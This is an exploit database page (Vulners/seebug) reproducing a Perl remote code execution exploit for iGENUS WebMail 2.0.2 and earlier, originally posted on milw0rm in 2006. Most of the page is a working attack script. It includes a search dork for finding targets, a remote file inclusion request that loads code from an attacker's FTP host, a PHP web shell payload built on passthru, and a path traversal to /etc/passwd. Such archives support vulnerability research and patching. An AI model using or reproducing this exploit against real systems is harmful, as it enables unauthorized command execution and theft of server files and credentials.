Lucene search
K

iGENUS WebMail <= 2.0.2 (config_inc.php) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

iGENUS WebMail <= 2.0.2 Remote Code Execution Exploi

Code

                                                #!/usr/bin/perl
use IO::Socket;

print &#34;______________________________________________________\r\n&#34;;
print &#34;iGENUS WebMail &#60;= 2.0.2 remote commads xctn\r\n&#34;;
print &#34;-&#62; works against PHP5 with register_globals = On\r\n&#34;;
print &#34;   & allow_url_fopen = On\r\n&#34;;
print &#34;by rgod rgod&#60;AT&#62;autistici&#60;DOT&#62;org\r\n&#34;;
print &#34;site: http://retrogod.altervista.org\r\n\r\n&#34;;
print &#34;dork:  intitle:\&#34;igenus webmail login\&#34;\r\n&#34;;
print &#34;______________________________________________________\r\n&#34;;

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/&#34;%&#34; . unpack(&#34;H2&#34;, $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=&#34;&#34;; for ($i=3; $i&#60;=$#ARGV; $i++) {$cmd.=&#34;%20&#34;.urlEncode($ARGV[$i]);};

if (@ARGV &#60; 4)
{
print &#34;\r\nUsage:\r\n&#34;;
print &#34;perl igenus_xpl.pl SERVER PATH FTP_LOCATION COMMAND\r\n\r\n&#34;;
print &#34;SERVER         - Server where iGENUS is installed.\r\n&#34;;
print &#34;PATH           - Path to iGENUS (ex: /igenus/ or just /) \r\n&#34;;
print &#34;FTP_LOCATION   - an FTP site with the code to include\r\n&#34;;
print &#34;COMMAND        - a Unix command\r\n\r\n&#34;;
print &#34;Example:\r\n&#34;;
print &#34;perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com ls -la\r\n&#34;;
print &#34;perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com/subdir cat config_inc.php\r\n\r\n&#34;;
print &#34;note: on ftp location you need this code in .config :\r\n&#34;;
print &#34;&#60;?php ob_clean();ini_set(\&#34;max_execution_time\&#34;,0);passthru(\$_GET[\&#34;cmd\&#34;]);die;?&#62;\r\n\r\n&#34;;
exit();
}

  $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$serv&#34;, Timeout  =&#62; 10, PeerPort=&#62;&#34;http(80)&#34;)
  or die &#34;[+] Connecting ... Could not connect to host.\n\n&#34;;
  print $sock &#34;GET &#34;.$path.&#34;config/config_inc.php?cmd=&#34;.$cmd.&#34;&SG_HOME=&#34;.$loc.&#34; HTTP/1.1\r\n&#34;;
  print $sock &#34;Host: &#34;.$serv.&#34;\r\n&#34;;
  print $sock &#34;Connection: close\r\n\r\n&#34;;

  while ($answer = &#60;$sock&#62;) {
    print $answer;
  }
  close($sock);

# ----------------&#62; also, with magic_quotes_gpc = Off, try this:
# http://[target]/[path]/?Lang=../../../../../../../../etc/passwd%00

# milw0rm.com [2006-02-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation